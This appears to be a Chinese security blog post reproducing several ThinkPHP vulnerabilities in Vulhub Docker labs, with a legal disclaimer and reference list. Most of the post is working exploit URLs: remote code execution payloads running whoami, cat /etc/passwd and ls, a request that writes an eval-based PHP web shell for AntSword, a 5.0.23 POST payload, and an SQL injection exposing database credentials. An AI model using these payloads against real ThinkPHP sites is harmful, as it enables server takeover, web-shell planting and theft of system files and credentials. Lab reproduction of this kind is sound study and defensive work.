简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持 windows/unⅸx/ Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、 PgSQL、 Sqlite多种数据库以及PDO扩展, ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


参考资料

ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行

Vulhub漏洞系列:ThinkPHP5 5.0.x5.1.x 远程代码执行漏洞

thinkphp 5.x全版本任意代码执行分析全记录

一次thinkphp渗透测试经历

ThinkPHP5.*版本发布安全更新

url在线编码解码

ThinkPHP5 5.0.23 Request类任意方法并构造利用链源码参考 

站在大神宽阔的肩膀上复现菠菜漏洞

ThinkPHP 2.x

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

1
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

任意代码执行漏洞

启动环境

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd thinkphp/2-rce
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

启动环境

获取thinkphp版本

故意让其报错,这样会返回系统的版本信息

1
http://www.security.ada:8080/index.php?a=1

获取thinkphp版本

获取phpinfo信息

1
2
#直接访问 http://your-ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D 即可执行 phpinfo()
http://www.security.ada:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

获取phpinfo信息

getshell

1
2
# http://www.security.ada:8080/index.php?s=/index/index/name/${@print(eval($_POST[1]))}进行编码得到下面语句
http://www.security.ada:8080/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}

HackBar 执行


这里蚁剑连接的时候其实就是在连接的时候执行了一句话木马,因此连接的地址要用一句话木马的内容

蚁剑执行

ThinkPHP5 5.0.22/5.1.29

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

远程代码执行漏洞

启动环境

运行ThinkPHP 5.0.20版本,环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd /thinkphp/5-rce
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

V5 启动后界面

获取thinkphp版本

通过拼接参数s=任意一个不存在的值,故意让其报错,这样会返回系统的版本信息

1
http://www.security.ada:8080/?s=xxx

获取版本信息

获取phpinfo信息

1
2
# payload
http://www.security.ada:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

获取phpinfo信息

远程执行shell

phpinfo&vars[1][]=-1 换为 shell_exec&vars[1][]=whoami

1
2
3
4
5
6
7
8
# whoami
http://www.security.ada:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=whoami
# shell_exec 执行 cat /etc/passwd
http://www.security.ada:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cat /etc/passwd
# system 执行 cat /etc/passwd
http://www.security.ada:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /etc/passwd
#列出所有文件
http://www.security.ada:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls -al

远程执行shell

写入shell

写入phpinfo

1
2
#写入 shell.php phpinfo
http://www.security.ada:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20phpinfo();?%3E

写入 phpinfo

写入一句话木马 eval()

写入 eval 函数木马() 如果通过 phpinfo 中的 disable_functions 关键字查看 eval 函数被屏蔽了的话,或者 waf 拦截 需要换成 assert 函数进行fuzz

1
2
# 写入一句话木马 <?php @eval($_POST['hacker']); ?> 进行编码  
http://www.security.ada:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=getshell.php&vars[1][]=%3C?php%20@eval($_POST%5B'hacker'%5D);%20?%3E

HackBar 执行测试

蚁剑连接执行

ThinkPHP5 5.0.23

远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

启动环境

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd /thinkphp/5.0.23-rce
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

启动环境

获取thinkphp版本

通过拼接参数s=任意一个不存在的值,故意让其报错,这样会返回系统的版本信息

1
http://www.security.ada:8080/?s=xxx

获取thinkphp版本

获取phpinfo信息


TODO


远程执行shell

1
2
3
4
# url
http://www.security.ada:8080/index.php?s=captcha
# post参数
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

远程执行 shell

ThinkPHP5 SQL

复现

启动环境

启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2,即可看到用户名被显示了出来,说明环境运行成功。

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd /thinkphp/in-sqlinjection
# 自动化编译环境
docker-compose build
#执行如下命令启动服务
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v
1
http://www.security.ada/index.php?ids[]=1&ids[]=2

确认环境启动成功

sql注入 信息泄露

当然,这是一个比较鸡肋的SQL注入漏洞。但通过DEBUG页面,我们找到了数据库的账号、密码:这又属于一个敏感信息泄露漏洞。

1
http://www.security.ada/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

sql注入 信息泄露